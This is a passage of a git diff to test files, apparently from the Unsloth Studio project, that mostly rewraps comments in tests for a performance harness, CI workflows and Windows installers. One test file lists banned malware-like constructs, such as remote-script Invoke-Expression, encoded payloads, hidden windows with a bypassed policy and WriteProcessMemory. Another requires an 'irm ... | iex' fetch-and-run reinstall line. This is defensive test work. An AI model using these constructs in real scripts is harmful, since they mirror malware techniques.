would keep the process alive past the end of the test.+# performance.now() is the fake clock, requestAnimationFrame is a queue this file pumps, and setTimeout is a queue too+# -- the recorder's stall loop reschedules itself forever, so a real timer would keep the process alive past the end of+# the test.FAKE_ENV = """let now = 0;let rafs = [];@@ -191,17 +191,17 @@ say({ first_frames: first.frames, second_frames: second.frames,def test_the_recorder_starts_the_next_action_with_one_loop() -> None:- # Two frames pumped, two frames recorded. A stale callback that survived into this action- # would be recording alongside the real one, so every frame is counted twice -- and it- # compounds, because each begin() can leave another behind.+ # Two frames pumped, two frames recorded. A stale callback that survived into this action would be recording+ # alongside the real one, so every frame is counted twice -- and it compounds, because each begin() can leave+ # another behind.got = run_node(LEAK_BODY, RECORDER_SOURCES)assert got["second_frames"] == 2, gotdef test_the_recorder_does_not_charge_the_between_action_gap_as_a_frame() -> None:- # The stale callback's own `lastFrame` is from the PREVIOUS action, so the interval it pushes- # spans the gap between the two actions. It lands in worst_frame_ms and, once the gap is over- # 33ms, in frames_over_33 as well: both growth axes.+ # The stale callback's own `lastFrame` is from the PREVIOUS action, so the interval it pushes spans the gap between+ # the two actions.+ # It lands in worst_frame_ms and, once the gap is over 33ms, in frames_over_33 as well: both growth axes.got = run_node(LEAK_BODY, RECORDER_SOURCES)assert got["second_worst"] == 16, got@@ -210,8 +210,8 @@ def test_the_recorder_does_not_charge_the_between_action_gap_as_a_frame() -> NonREOPEN_SOURCES = {"RECORDER_INIT": HARNESS.RECORDER_INIT, "REOPEN_JS": HARNESS.REOPEN_JS}-# A thread that remounts instantly and then highlights for 40 frames, which is the shape re-open-# actually has: the message roots are back long before the fences inside them are coloured.+# A thread that remounts instantly and then highlights for 40 frames, which is the shape re-open actually has: the+# message roots are back long before the fences inside them are coloured.REOPEN_BODY = """eval(RECORDER_INIT);let mounted = true;@@ -245,25 +245,19 @@ say({def test_reopen_keeps_the_clock_running_until_the_highlighter_stops() -> None:- # quiet() settles on three sub-33ms frames, and the lull between two Shiki batches is longer- # than three frames -- the same lull wait_for_highlighting_settled() needs five stable reads to- # see through. Settling on frames alone stops the re-open clock partway through the rebuild.+ # quiet() settles on three sub-33ms frames, and the lull between two Shiki batches is longer than three frames --+ # the same lull wait_for_highlighting_settled() needs five stable reads to see through. Settling on frames alone+ # stops the re-open clock partway through the rebuild.got = run_node(REOPEN_BODY, REOPEN_SOURCES)assert got["settleMs"] >= got["lastChangeAt"] - 20, gotdef test_reopen_does_not_charge_the_grace_window_to_the_action() -> None:- # The grace is a fixed cost every size pays equally, and a constant on both ends of a ratio- # drags it towards 1. The reported settle is the time of the LAST activity, so the 1000ms of- # watching that confirmed it is not in the number.got = run_node(REOPEN_BODY, REOPEN_SOURCES)assert got["settleMs"] <= got["lastChangeAt"] + 120, gotdef test_reopen_counts_no_frames_from_the_grace_window() -> None:- # The grace window watches an idle page, so every frame in it is a fast one. Left in the- # arrays they inflate `frames`, drag `median_frame_ms` down towards the idle rate, and do it- # by the same fixed amount at every size -- a constant offset on a growth axis.got = run_node(REOPEN_BODY, REOPEN_SOURCES)# 640ms of highlighting at 16ms a frame, and nothing past it.assert got["frames"] <= 45, got@@ -287,7 +281,6 @@ def test_reopen_closes_its_recorder_window_at_the_last_activity() -> None:# 0.105ms at 300000). Swap one of them for the full census, or move any of them inside the poll# loop, and the harness starts adding size-dependent work to the number it publishes. These pin# the count.-SCAN_BUDGET_BODY = """eval(RECORDER_INIT);let mounted = true;@@ -326,21 +319,11 @@ say({def test_the_reopen_window_never_runs_the_document_census() -> None:- # GUARD. counts() is a dozen document-wide queries including getElementsByTagName("*"), and it- # is 25 times the cost of messageCount() at 25000 chars and 24 times at 300000 (measured- # 0.15ms/0.01ms and 2.51ms/0.105ms on Chromium). One of those per frame inside the re-open- # window is the harness measuring itself.got = run_node(SCAN_BUDGET_BODY, REOPEN_SOURCES)assert got["censuses"] == 0, gotdef test_the_reopen_window_scans_no_more_than_once_per_frame_of_the_rebuild() -> None:- # GUARD. Six [data-role] passes for this rebuild on the virtual clock, and the six are- # enumerable: `before` sizes the thread, one closes the unmount loop, three run the re-open- # loop while the stub rebuild is still blocked, and `after` proves the thread came back. Only- # the middle four are inside the recorder window and only one of them is inside the reported- # `ms`. A second pass per iteration doubles the size-dependent work in the number, and at- # 300000 characters each pass is 0.105ms against 0.01ms at 25000.got = run_node(SCAN_BUDGET_BODY, REOPEN_SOURCES)assert got["scans"] <= 6, got@@ -395,20 +378,17 @@ say({ notifications, querySelectorCalls, querySelectorAllCalls, openMs: done.opedef test_the_menu_reads_its_open_flag_from_the_mutation_and_not_from_a_scan() -> None:- # GUARD. The menu content is portaled to the END of document.body, so a querySelector for it- # walks the whole message list -- and for the entire open latency it walks it and finds- # nothing. Measured on Chromium at 300000 chars that query is 0.25ms a call against 0.025ms at- # 25000. One per mutation is 2 in the window; one per frame would be one per 16ms of the very- # latency being measured, on a cost that grows with the thread.+ # GUARD. The menu content is portaled to the END of document.body, so a querySelector for it walks the whole+ # message list, and for the entire open latency it walks it and finds nothing. Measured on Chromium at 300000+ # chars that query is 0.25ms a call against 0.025ms at 25000.got = run_node(MENU_SCAN_BODY, MENU_SOURCES)assert got["querySelectorCalls"] <= got["notifications"] + 1, gotdef test_the_menu_window_takes_one_census_and_not_one_per_frame() -> None:- # GUARD. The tooltip-trigger census is the only querySelectorAll the menu window runs- # (measured 0.13ms at 300000 chars against 0.005ms at 25000). It is taken once, under the- # pointer, because an action bar that never mounts and one that is autohidden at rest are- # otherwise indistinguishable.+ # GUARD. The tooltip-trigger census is the only querySelectorAll the menu window runs (measured 0.13ms at 300000+ # chars against 0.005ms at 25000). It is taken once, under the pointer, because an action bar that never mounts+ # and one that is autohidden at rest are otherwise indistinguishable.got = run_node(MENU_SCAN_BODY, MENU_SOURCES)assert got["querySelectorAllCalls"] <= 1, got@@ -417,8 +397,8 @@ def test_the_menu_window_takes_one_census_and_not_one_per_frame() -> None:MENU_SOURCES = {"RECORDER_INIT": HARNESS.RECORDER_INIT, "MENU_JS": HARNESS.MENU_JS}-# A menu that opens and closes with NO work at all: the flag flips inside the dispatch. Whatever-# this reports is therefore pure floor.+# A menu that opens and closes with NO work at all: the flag flips inside the dispatch. Whatever this reports is+# therefore pure floor.MENU_BODY = """eval(RECORDER_INIT);let menuOpen = false;@@ -457,10 +437,10 @@ say({ openMs: done.openMs, closeMs: done.closeMs, total: done.open_close_ms });def test_opening_the_menu_costs_a_whole_double_raf_even_when_it_is_free() -> None:- # settle() reads `open` before the MutationObserver callback that would have updated it has- # been delivered, so its first true comparison is on the far side of an __nextPaint(). Nothing- # is wrong with that -- it is what makes the number a wall-clock one -- but it means the metric- # carries a floor, and the floor has to be subtracted before a ratio.+ # settle() reads `open` before the MutationObserver callback that would have updated it has been delivered, so its+ # first true comparison is on the far side of an __nextPaint(). Nothing is wrong with that -- it is what makes the+ # number a wall-clock one -- but it means the metric carries a floor, and the floor has to be subtracted before a+ # ratio.got = run_node(MENU_BODY, MENU_SOURCES)assert got["openMs"] >= 32, got@@ -624,9 +604,9 @@ def test_a_clean_cell_produces_no_harness_failure() -> None:def test_deferred_fences_are_not_a_harness_failure() -> None:- # THE POINT OF MEASURING CHARACTERS. A real, complete thread now holds far fewer highlighted- # tokens than before the default moved: 1,322 against 3,216 for one cycle, measured, with the- # fixture untouched. The harness must not call that broken.+ # THE POINT OF MEASURING CHARACTERS.+ # A real, complete thread now holds far fewer highlighted tokens than before the default moved: 1,322 against 3,216+ # for one cycle, measured, with the fixture untouched.cell = copy.deepcopy(clean_cell())cell["counts"]["deferredFences"] = 4cell["counts"]["highlightedTokens"] = 300@@ -634,9 +614,9 @@ def test_deferred_fences_are_not_a_harness_failure() -> None:def test_a_fixture_that_lost_its_code_is_still_a_harness_failure() -> None:- # The replaced check caught a fixture that is not the heavy thread it claims to be, and this- # still does. Tokens are left HIGH so only the character floor can fail: a thread whose code- # blocks quietly emptied still renders, still scrolls and still curves, of something else.+ # The replaced check caught a fixture that is not the heavy thread it claims to be, and this still does. Tokens+ # are left HIGH so only the character floor can fail: a thread whose code blocks quietly emptied still renders,+ # still scrolls and still curves, of something else.cell = copy.deepcopy(clean_cell())cell["counts"]["codeChars"] = 6000cell["counts"]["highlightedTokens"] = 99999@@ -645,8 +625,6 @@ def test_a_fixture_that_lost_its_code_is_still_a_harness_failure() -> None:def test_a_fence_that_is_neither_deferred_nor_highlighted_is_a_harness_failure() -> None:- # The other half of the old token floor, per block: one block stuck on streamdown's- # unhighlighted fallback passed the total as long as the rest made it up.cell = copy.deepcopy(clean_cell())cell["counts"]["unhighlightedMountedFences"] = 1failures = HARNESS.harness_failures(results_with(cell), discriminating_report())@@ -761,10 +739,9 @@ def repetition_log() -> list:def test_the_highlighter_gate_runs_after_the_tool_panes_are_mounted() -> None:- # The tool result panes ARE code -- two of the seven fences a content cycle produces -- and- # Radix does not mount them until they are expanded. Gating on the highlighter first and- # expanding second leaves a fresh batch of unhighlighted fences building inside the keystroke- # measurement, which is the very next thing timed.+ # The tool result panes ARE code -- two of the seven fences a content cycle produces -- and Radix does not mount+ # them until they are expanded. Gating on the highlighter first and expanding second leaves a fresh batch of+ # unhighlighted fences building inside the keystroke measurement, which is the very next thing timed.log = repetition_log()expand = log.index(("evaluate", "expandTools"))highlight = log.index(("wait", "highlighting"))@@ -778,10 +755,9 @@ def test_the_highlighter_gate_runs_before_the_first_measured_action() -> None:def test_the_deleted_message_is_restored_before_anything_else_is_measured() -> None:- # The delete removes a message from the repository, permanently. At the smallest size the- # whole thread is one ten-kind cycle, so three repetitions take the json fence, then both- # inline images, then the svg -- and the fixture census that would have caught it was taken- # before any repetition ran.+ # The delete removes a message from the repository, permanently. At the smallest size the whole thread is one+ # ten-kind cycle, so three repetitions take the json fence, then both inline images, then the svg -- and the+ # fixture census that would have caught it was taken before any repetition ran.log = repetition_log()assert ("evaluate", "restore") in log, logassert (@@ -792,8 +768,8 @@ def test_the_deleted_message_is_restored_before_anything_else_is_measured() -> Ndef test_the_restored_thread_is_re_expanded_and_re_highlighted_before_re_open() -> None:- # Restoring re-imports the thread, which unmounts every tool card and throws away every- # highlighted fence. Re-opening straight afterwards would time that rebuild as well as its own.+ # Restoring re-imports the thread, which unmounts every tool card and throws away every highlighted fence.+ # Re-opening straight afterwards would time that rebuild as well as its own.log = repetition_log()restore = log.index(("evaluate", "restore"))reopen = log.index(("action", "REOPEN_JS"))@@ -802,13 +778,12 @@ def test_the_restored_thread_is_re_expanded_and_re_highlighted_before_re_open()def test_the_tool_expand_gate_is_not_satisfied_by_a_thread_of_closed_cards() -> None:- # `collapsibleOutputs` is the CollapsibleContent element itself, and Radix keeps that element- # in the tree for its collapse animation, so it is there while the card is shut. Measured on- # this tree at 300000 characters, straight after seeding and before any expandTools() call:- # collapsibleOutputs 22 of the 22 expected, codeExecutionPanes 0. A `collapsibleOutputs >= n`- # gate is therefore satisfied by the closed thread, which is a wait that cannot fail -- and it- # released the highlighter gate below it before the two fences per cycle it exists to sequence- # had mounted. The pane's <pre> is a CHILD of that element: 0 collapsed, 22 expanded.+ # `collapsibleOutputs` is the CollapsibleContent element itself, and Radix keeps that element in the tree for its+ # collapse animation, so it is there while the card is shut. Measured on this tree at 300000 characters, straight+ # after seeding and before any expandTools() call: collapsibleOutputs 22 of the 22 expected, codeExecutionPanes 0.+ # A `collapsibleOutputs >= n` gate is therefore satisfied by the closed thread, which is a wait that cannot fail,+ # and it released the highlighter gate below it before the two fences per cycle it exists to sequence had mounted.+ # The pane's <pre> is a CHILD of that element: 0 collapsed, 22 expanded.gates = [line for line in HARNESS_SOURCE.splitlines() if "counts()." in line]assert gates, "the fixture no longer gates on a count at all"for line in gates:@@ -830,8 +805,6 @@ def test_the_smoke_page_can_restore_the_thread_it_seeded() -> None:# both ends, which drags the ratio towards 1 and can report a real curve as flat; declaring it too# high subtracts time the action never spent. REOPEN_JS now counts the waits it actually pays, so# the constant is checked against the run rather than trusted.--def floor_row(observed,engine = "chromium",@@ -1060,9 +1033,8 @@ def test_warnings_and_errors_are_captured_into_separate_lists() -> None:assert 'page.on("pageerror", lambda e: console_errors.append' in HARNESS_SOURCEassert 'if m.type == "error"' in HARNESS_SOURCE, "errors are no longer routed by severity"assert 'if m.type == "warning"' in HARNESS_SOURCE, "warnings are no longer routed by severity"- # Keyed on the predicate alone, not on the whole expression around it: the first version of- # this assertion pinned an exact one-line form and stayed green when the predicate was put- # back on a line of its own.+ # Keyed on the predicate alone, not on the whole expression around it: the first version of this assertion pinned+ # an exact one-line form and stayed green when the predicate was put back on a line of its own.assert 'm.type in ("warning", "error")' not in HARNESS_SOURCE, ("one predicate captures both severities again, so an application exception is filed as ""chatter and absorbed by the warning allowance"@@ -1085,8 +1057,6 @@ def test_the_recorder_zeroes_its_wait_counter_at_the_start_of_each_window() -> N# `large > small` was the whole test. The CI workflow runs one repetition on Chromium, so there is# no median to smooth a stray dropped frame, and `harness_failures` accepts any ONE discriminating# axis: 0 at 25K and 1 at 100K could carry the entire verdict while every latency axis was flat.--def counter_cells(small,large,@@ -1159,8 +1129,6 @@ def test_the_threshold_is_absolute_because_no_ratio_exists() -> None:# subtracted. An UNFLOORED timing reads zero at the smallest size whenever the action resolves# before the recorder produces a sample, and was then treated as a dropped-frame counter, so a# noisy 5ms at the largest size read as a rise of 5 and discriminated.--def timing_cells(small,large,@@ -1230,11 +1198,9 @@ def test_the_counter_set_is_stated_and_non_empty() -> None:# that report to `results` and json.dumps it, so every complete run raised "Object of type# function is not JSON serializable" AFTER taking all its measurements. No unit test caught it# because none of them serialised the report, which is the gap this section closes.--def test_the_growth_report_is_json_serializable() -> None:report = HARNESS.report_growth(counter_cells(0, 9))- json.dumps(report) # raises if any value is a function+ json.dumps(report)def test_the_report_is_serializable_for_a_callable_floor_axis() -> None:@@ -1340,8 +1306,6 @@ def test_a_timing_with_a_small_nonzero_baseline_is_untouched() -> None:# took, and `gestureMs` is computed from `startedAt` too. All three therefore span the entire# recorder window and contain every double-rAF wait in it. They declared zero, which left roughly# twenty vsync floors in both ends of the scroll ratios.--def axis_floor(name):for axis, _pick, floored in HARNESS.GROWTH_AXES:if axis == name:diff --git a/tests/studio/test_hf_token_validation_tick_contract.py b/tests/studio/test_hf_token_validation_tick_contract.pyindex 78650de5bee..af98b119fff 100644--- a/tests/studio/test_hf_token_validation_tick_contract.py+++ b/tests/studio/test_hf_token_validation_tick_contract.py@@ -237,8 +237,8 @@ def test_accepted_training_start_stays_locked_during_preparation():pending = runtime_store.split("export function isTrainingStartPending", 1)[1]pending = pending.split("const initialState", 1)[0]assert "stopRequested" in pending- # Per term rather than one exact string: scoped cancellation added the- # startRequestId disjunct, and formatting of the expression is not the contract.+ # Per term rather than one exact string: scoped cancellation added the startRequestId disjunct, and formatting of+ # the expression is not the contract.for term in ("state.stopRequested","state.isStarting",@@ -309,8 +309,8 @@ def test_training_start_aborts_when_semantic_config_or_token_changes():assert "payload.model_local_path =" not in snapshotassert "payload.dataset_known_cached =" not in snapshotassert "payload.dataset_local_path =" not in snapshot- # The identity shape now lives in createTrainingStartInputIdentity, so assert the- # snapshot delegates to it and that the identity still normalizes and carries the flags.+ # The identity shape now lives in createTrainingStartInputIdentity, so assert the snapshot delegates to it and that+ # the identity still normalizes and carries the flags.assert "createTrainingStartInputIdentity(" in snapshotassert "normalizeTrainingStartPayloadForComparison(" in start_inputsassert "isUntrainableModelFormat(payload.model_format)" in start_inputs@@ -412,8 +412,8 @@ def test_superseded_start_cleanup_scopes_both_backend_mutations():reset_transport = api.split("export async function resetTraining", 1)[1].split("export async function getTrainingStatus", 1)[0]- # The scope is no longer conditional: resetTraining takes a RequiredTrainingJobScope- # and always sends the body, which is strictly stronger than the old hasScope branch.+ # The scope is no longer conditional: resetTraining takes a RequiredTrainingJobScope and always sends the body,+ # which is strictly stronger than the old hasScope branch.assert "scope: RequiredTrainingJobScope" in reset_transportassert "body: scopedTrainingBody({}, scope)" in reset_transport@@ -502,8 +502,7 @@ def test_training_stop_failure_preserves_the_runtime_latch():assert "currentRuntime.jobId === scope.jobId" in stopassert "currentRuntime.resetGeneration === expectedResetGeneration" in stop- # The latch survives a failed *job* stop. The start branch clears it deliberately so a- # pending-start cancel stays retryable, so assert per branch, not over the whole body.+ # The latch survives a failed *job* stop.start_branch = failure.split('if (scope.kind === "start") {', 1)[1].split("} else {", 1)[0]job_branch = failure.split("} else {", 1)[1]assert "currentRuntime.setStopRequested(false)" in start_branchdiff --git a/tests/studio/test_inference_smoke_http_diagnostics.py b/tests/studio/test_inference_smoke_http_diagnostics.pyindex 9d2d1a0394c..f37d5bd360d 100644--- a/tests/studio/test_inference_smoke_http_diagnostics.py+++ b/tests/studio/test_inference_smoke_http_diagnostics.py@@ -60,8 +60,8 @@ def _python_blocks(path: Path) -> list[tuple[int, str]]:assert i < len(lines), f"{path.name}:{start} heredoc never closed"blocks.append((start + 1, textwrap.dedent("\n".join(body)) + "\n"))i += 1- # The indent is stripped by textwrap, so a block whose lines are indented- # inconsistently would fail to parse below rather than pass silently.+ # The indent is stripped by textwrap, so a block whose lines are indented inconsistently would fail to parse below+ # rather than pass silently.del indentreturn blocks@@ -185,8 +185,8 @@ def test_an_http_error_reports_the_response_body(name: str) -> None:f"it, so the diagnosis never reaches the CI log")- # Reading the body is only useful if the printed text carries- # it, and the status code alongside it names which request.+ # Reading the body is only useful if the printed text carries it, and the status code alongside it names+ # which request.printed = "\n".join(ast.dump(call) for call in prints)assert ("code" in printed@@ -200,8 +200,7 @@ def test_an_http_error_reports_the_response_body(name: str) -> None:f"unguarded, so a failed read masks the real status")- # And the original error must still propagate: reporting is not- # the same as tolerating.+ # And the original error must still propagate: reporting is not the same as tolerating.assert any(isinstance(node, ast.Raise) for node in handler.body), (f"{name}: {helper.name}() reports the HTTPError but does "f"not re-raise it, so a 4xx would pass as success"diff --git a/tests/studio/test_install_phase_timing.py b/tests/studio/test_install_phase_timing.pyindex 132d35cd53d..6fe07bdb950 100644--- a/tests/studio/test_install_phase_timing.py+++ b/tests/studio/test_install_phase_timing.py@@ -50,14 +50,12 @@ INSTALLERS = (REPO / "studio" / "setup.ps1",)-# Markers of the two filter dialects, each paired with the log-writing stage that must-# come before it in the same pipeline.+# Markers of the two filter dialects, each paired with the log-writing stage that must come before it in the same+# pipeline.POSIX_FILTER = "printf '[%4ds] %s\\n' \"$SECONDS\""PWSH_FILTER = "$sw.Elapsed.TotalSeconds"-# ---------------------------------------------------------------------------------------# The installers stay out of it# --------------------------------------------------------------------------------------@@ -227,9 +225,8 @@ def test_a_failing_install_still_fails_its_step():f"-- and a failed install passes")if PWSH_FILTER in run:- # The comparison, not the bare variable name: `$child` already ends with- # `exit $LASTEXITCODE`, so a substring test for the name alone stays green- # after the outer check is deleted. Confirmed by mutation.+ # The comparison, not the bare variable name: `$child` already ends with `exit $LASTEXITCODE`, so a+ # substring test for the name alone stays green after the outer check is deleted.assert re.search(r"\$LASTEXITCODE\s+-ne\s+0", run), (f"{path.name}:{jid}:{name} no longer throws on a non-zero $LASTEXITCODE "f"after the pipeline. PowerShell does not fail a step for a native "diff --git a/tests/studio/test_installer_av_shapes.py b/tests/studio/test_installer_av_shapes.pyindex 0cd66c8f0d6..09c2052e175 100644--- a/tests/studio/test_installer_av_shapes.py+++ b/tests/studio/test_installer_av_shapes.py@@ -59,8 +59,7 @@ def test_script_exists(name: str) -> None:@pytest.mark.parametrize("name", PS_SCRIPTS)def test_no_remote_script_is_executed_in_process(name: str) -> None:- # The construct AMSI and cloud ML scanners score hardest. Both files fetch a pinned- # archive instead.+ # The construct AMSI and cloud ML scanners score hardest.for number, line in _code_lines(name):assert not re.search(r"Invoke-Expression\s*\(\s*Invoke-(RestMethod|WebRequest)", line@@ -97,8 +96,8 @@ def test_no_encoded_or_base64_command_payloads(name: str) -> None:@pytest.mark.parametrize("name", ALL_SCRIPTS)def test_a_hidden_window_never_pairs_with_a_bypassed_policy(name: str) -> None:- # Microsoft's detections key on this pair; install.rs already refuses it for the app's- # own launch.+ # Microsoft's detections key on this pair;+ # install.rs already refuses it for the app's own launch.for number, line in enumerate(_text(name).splitlines(), start = 1):if re.search(r"-WindowStyle\s+Hidden", line, re.IGNORECASE):assert not re.search(@@ -106,28 +105,28 @@ def test_a_hidden_window_never_pairs_with_a_bypassed_policy(name: str) -> None:), f"{name}:{number} pairs a hidden window with a bypassed policy: {line.strip()}"-# Every runtime-compiled P/Invoke left in the installers. Each costs a csc.exe compile and is-# scored, so a new entry needs a reason; a PowerShell equivalent usually exists.+# Every runtime-compiled P/Invoke left in the installers. Each costs a csc.exe compile and is scored, so a new entry+# needs a reason; a PowerShell equivalent usually exists.ALLOWED_PINVOKES = {- # Canonicalising linked ancestors of security-relevant paths. No PS 5.1 equivalent:- # ResolveLinkTarget is .NET 6+, and .Target misses a linked ancestor of a non-link leaf.- # Not skippable either: Get-StudioRuntimePathHash hashes this spelling byte for byte and- # Python derives the same mutex name from its own, so a GetFullPath fast path differing on- # case or an 8.3 name would let two installers each believe they hold the lock.+ # Canonicalising linked ancestors of security-relevant paths.+ # No PS 5.1 equivalent: ResolveLinkTarget is .NET 6+, and .Target misses a linked ancestor of a non-link leaf.+ # Not skippable either: Get-StudioRuntimePathHash hashes this spelling byte for byte and Python derives the same+ # mutex name from its own, so a GetFullPath fast path differing on case or an 8.3 name would let two installers each+ # believe they hold the lock."CreateFileW","GetFinalPathNameByHandleW",- # ANSI colour on a real console. Skipped entirely when stdout is redirected, see+ # ANSI colour on a real console.+ # Skipped entirely when stdout is redirected, see# test_virtual_terminal_answers_a_redirected_stream_without_compiling."GetStdHandle","GetConsoleMode","SetConsoleMode",- # Per-item Explorer icon refresh, standalone path only. ie4uinit.exe -show is the global- # broadcast, which alone does not recover a stale .lnk, so it is not a substitute.+ # Per-item Explorer icon refresh, standalone path only.+ # ie4uinit.exe -show is the global broadcast, which alone does not recover a stale .lnk, so it is not a substitute."SHChangeNotify",- # PID -> image path for the venv-holder check. Win32_Process answers the same question,- # but test_windows_installer_concurrency_guard.py bans it and $process.Path there: the- # races #7764 closed came from inferring "in use" from anything but a confirmed executable- # identity. A wrongly blocked install costs more than these imports.+ # PID -> image path for the venv-holder check.+ # Win32_Process answers the same question, but test_windows_installer_concurrency_guard.py bans it and $process.Path+ # there: the races #7764 closed came from inferring "in use" from anything but a confirmed executable identity."OpenProcess","QueryFullProcessImageNameW","CloseHandle",@@ -180,8 +179,7 @@ def test_virtual_terminal_answers_a_redirected_stream_without_compiling(name: st@pytest.mark.parametrize("name", ALL_SCRIPTS)def test_no_process_memory_apis(name: str) -> None:- # The installer reads image paths, nothing more. Reaching into another process's memory- # has no use here and is what the injection heuristics look for.+ # The installer reads image paths, nothing more.for banned in ("VirtualAllocEx","WriteProcessMemory",@@ -192,8 +190,8 @@ def test_no_process_memory_apis(name: str) -> None:assert banned not in _text(name), f"{name} references {banned}"-# What the installers print when they need the user to reinstall. Hardening must not touch-# user-visible output, and a search-and-replace would take exactly these out.+# What the installers print when they need the user to reinstall. Hardening must not touch user-visible output, and a+# search-and-replace would take exactly these out.REQUIRED_OUTPUT = {"install.ps1": ['Write-StudioLine " irm https://unsloth.ai/install.ps1 | iex"'],"studio/setup.ps1": ['Write-StudioLine " irm https://unsloth.ai/install.ps1 | iex"'],diff --git a/tests/studio/test_is_mlx_dispatch_gate.py b/tests/studio/test_is_mlx_dispatch_gate.pyindex f233b76e4e0..adb1ffb1517 100644--- a/tests/studio/test_is_mlx_dispatch_gate.py+++ b/tests/studio/test_is_mlx_dispatch_gate.py@@ -22,9 +22,6 @@ REPO_ROOT = Path(__file__).resolve().parents[2]UNSLOTH_INIT = REPO_ROOT / "unsloth" / "__init__.py"-# 1. Source-level structure check on _IS_MLX (no platform dependencies).--def test_is_mlx_gate_uses_three_required_predicates():"""_IS_MLX must AND Darwin+arm64+importable-mlx; dropping any breaks dispatch."""tree = ast.parse(UNSLOTH_INIT.read_text(encoding = "utf-8"))@@ -70,11 +67,7 @@ def test_is_mlx_gate_uses_three_required_predicates():), "_IS_MLX helper must run the local MLX precheck before importing zoo"-# 2. Runtime gate behavior with platform spoofed to Apple Silicon + fake mlx.-# Re-evaluates the expression rather than reloading unsloth (avoids a torch-# cascade-reload).--+# Runtime gate behavior with platform spoofed to Apple Silicon + fake mlx.def _evaluate_is_mlx_precheck(platform_module, importlib_util, os_module):"""Re-evaluate the local _is_mlx_available precheck with injected deps."""return (@@ -178,9 +171,8 @@ def test_detect_hardware_picks_mlx_when_only_apple_silicon_available(monkeypatchmonkeypatch.setitem(sys.modules, "mlx", fake_mlx)monkeypatch.setitem(sys.modules, "mlx.core", fake_mlx_core)- # detect_hardware now gates MLX on the full stack via _has_usable_mlx_stack()- # (utils.mlx_repair.mlx_stack_available imports mlx_lm/mlx_vlm and checks- # versions); faking mlx.core alone no longer satisfies it. This test asserts the+ # detect_hardware now gates MLX on the full stack via _has_usable_mlx_stack() (utils.mlx_repair.mlx_stack_available+ # imports mlx_lm/mlx_vlm and checks versions); faking mlx.core alone no longer satisfies it. This test asserts the# dispatch decision when the stack IS usable, so model that directly.monkeypatch.setattr(hw, "_has_usable_mlx_stack", lambda: True)diff --git a/tests/studio/test_mac_bundled_job_phases.py b/tests/studio/test_mac_bundled_job_phases.pyindex 4dd918d68fb..9b5be1463c6 100644--- a/tests/studio/test_mac_bundled_job_phases.py+++ b/tests/studio/test_mac_bundled_job_phases.py@@ -57,8 +57,7 @@ def _boot_defaults() -> tuple[str, str]:return log.group(1), pid.group(1) if pid else "STUDIO_PID"-# The phases, in the order they must run. The update phase is last because it-# ends by uninstalling and asserting the machine is clean.+# The phases, in the order they must run.PHASE_MARKERS = ("Drive the chat UI with Playwright","Run Unsloth API & Auth tests",@@ -98,10 +97,9 @@ def _phase_starts(steps: list[dict]) -> list[int]:boots = [i for i, n in enumerate(names) if "boot unsloth" in n.lower()]assert boots, "no server boot step found; every scan below would be vacuous"- # The absorbed phases declare their port and model in a "Phase N environment"- # step several steps ahead of the boot, so a boundary drawn at the boot alone- # files that port under the PREVIOUS phase and reports a collision against- # itself. Where such a step exists, pull the boundary back to it.+ # The absorbed phases declare their port and model in a "Phase N environment" step several steps ahead of the boot,+ # so a boundary drawn at the boot alone files that port under the PREVIOUS phase and reports a collision against+ # itself.declarations = [i for i, n in enumerate(names) if re.fullmatch(r"Phase \d+ environment", n)]starts: list[int] = []@@ -154,9 +152,8 @@ def test_no_two_phases_bind_the_same_port(steps: list[dict]) -> None:A phase that finds a previous phase's server still listening does not error:it connects, and tests the wrong model."""- # A port legitimately appears several times inside ONE phase: the boot step,- # the health wait and the stop step all name it. So group by phase, not by- # step, and fail only when two phases share one.+ # A port legitimately appears several times inside ONE phase: the boot step, the health wait and+ # the stop step all name it. So group by phase, not by step, and fail only when two phases share one.starts = _phase_starts(steps)by_phase: dict[str, set[int]] = defaultdict(set)for i, step in enumerate(steps):@@ -180,9 +177,8 @@ def test_no_two_phases_write_the_same_server_log(steps: list[dict]) -> None:the later phase truncates the earlier one's log, so a run that went red in anearly phase uploads the log of a later phase that passed."""- # Grouped by phase for the same reason the port scan is: within one phase the- # health wait is *given* the log path so it can tail it on failure, which is a- # read, not a second writer.+ # Grouped by phase for the same reason the port scan is: within one phase the health wait is+ # *given* the log path so it can tail it on failure, which is a read, not a second writer.starts = _phase_starts(steps)default_log, _ = _boot_defaults()logs: dict[str, set[int]] = defaultdict(set)@@ -191,13 +187,10 @@ def test_no_two_phases_write_the_same_server_log(steps: list[dict]) -> None:for pattern in (r"--log (logs/[\w.\-]+)", r"> (?:\")?(logs/[\w.\-]+)"):for found in re.findall(pattern, script):logs[found].add(_phase_of(starts, i))- # An invocation with no --log is the case that actually bit: neither- # workflow line named a file, so a text scan saw no collision while both- # phases wrote the same one.- # Checked over the whole step rather than the matched call: the- # invocations are backslash-continued across lines, and a regex that- # tries to follow the continuation quietly stops at the first line and- # then reports every boot as taking the default.+ # An invocation with no --log is the case that actually bit: neither workflow line named a+ # file, so a text scan saw no collision while both phases wrote the same one. Checked over+ # the whole step rather than the matched call, since the invocations are backslash-continued+ # across lines.if "boot-studio-api-only.sh" in script and "--log" not in script:logs[default_log].add(_phase_of(starts, i))diff --git a/tests/studio/test_mac_host_offload_optin.py b/tests/studio/test_mac_host_offload_optin.pyindex a36738bd37d..02070279a87 100644--- a/tests/studio/test_mac_host_offload_optin.py+++ b/tests/studio/test_mac_host_offload_optin.py@@ -34,9 +34,8 @@ REPO = Path(__file__).resolve().parents[2]WORKFLOWS = REPO / ".github" / "workflows"ENV_VAR = "UNSLOTH_ALLOW_HOST_OFFLOAD"-# The mac GGUF phases were absorbed into the Mac UI job, which is why this is-# not the file the docstring above was written against. The opt-out moved with-# them, to that job's env, and is still the only place in the repo it appears.+# The mac GGUF phases were absorbed into the Mac UI job, which is why this is not the file the docstring above was+# written against. The opt-out moved with them, to that job's env, and is still the only place in the repo it appears.MAC_GGUF = "studio-mac-ui-smoke.yml"OTHER_GGUF = ["studio-inference-smoke.yml", "studio-windows-inference-smoke.yml"]@@ -79,10 +78,9 @@ def test_the_opt_out_explains_itself_in_place():def test_no_other_gguf_workflow_disables_the_guard(name):doc = _doc(name)offenders = []- # Workflow level first. GitHub propagates a top-level `env:` to every job, so it is- # the BROADEST way to set this and was the one place a job/step scan could not see:- # one line at the top of the Linux or Windows workflow would disable the guard across- # every job in it while this test, whose whole subject is blast radius, stayed green.+ # Workflow level first. GitHub propagates a top-level `env:` to every job, so it is the BROADEST way to set this+ # and was the one place a job/step scan could not see: one line at the top of the Linux or Windows workflow would+ # disable the guard across every job in it while this test, whose whole subject is blast radius, stayed green.if (doc.get("env") or {}).get(ENV_VAR) is not 